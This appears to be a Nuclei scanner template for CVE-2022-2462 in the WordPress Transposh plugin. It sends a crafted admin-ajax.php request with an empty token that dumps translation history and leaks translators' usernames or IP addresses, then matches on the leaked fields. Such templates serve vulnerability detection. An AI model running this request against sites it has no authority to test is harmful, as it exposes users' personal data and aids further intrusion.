55 lines
2.1 KiB
YAML
55 lines
2.1 KiB
YAML
id: CVE-2022-2462
|
|
|
|
info:
|
|
name: WordPress Transposh <=1.0.8.1 - Information Disclosure
|
|
author: dwisiswant0
|
|
severity: medium
|
|
description: |
|
|
WordPress Transposh plugin through is susceptible to information disclosure via the AJAX action tp_history, which is intended to return data about who has translated a text given by the token parameter. However, the plugin also returns the user's login name as part of the user_login attribute. If an anonymous user submits the translation, the user's IP address is returned. An attacker can leak the WordPress username of translators and potentially execute other unauthorized operations.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/167878/wptransposh1081-disclose.txt
|
|
- https://github.com/oferwald/transposh
|
|
- https://www.rcesecurity.com/2022/07/WordPress-Transposh-Exploiting-a-Blind-SQL-Injection-via-XSS/
|
|
- https://www.wordfence.com/vulnerability-advisories/#CVE-2022-2462
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-2462
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2022-2462
|
|
cwe-id: CWE-200
|
|
cpe: cpe:2.3:a:transposh:transposh_wordpress_translation:*:*:*:*:*:*:*:*
|
|
epss-score: 0.00573
|
|
tags: cve,cve2022,wordpress,disclosure,wp-plugin,packetstorm
|
|
metadata:
|
|
max-request: 1
|
|
|
|
http:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/wp-admin/admin-ajax.php"
|
|
headers:
|
|
Content-Type: application/x-www-form-urlencoded
|
|
body: "action=tp_history&token=&lang=en" # we leave the value for 'token' with an empty string so it fetch all history
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
- type: word
|
|
part: body
|
|
words: # because the query is `SELECT translated, translated_by, timestamp, source, user_login [...]`
|
|
- "translated"
|
|
- "translated_by"
|
|
- "timestamp"
|
|
- "source"
|
|
- "user_login"
|
|
condition: and
|
|
|
|
- type: dsl
|
|
dsl:
|
|
- "len(transposh) > 0" # 'transposh' equivalent for Transposh header key
|
|
|
|
# Enhanced by md on 2023/04/13
|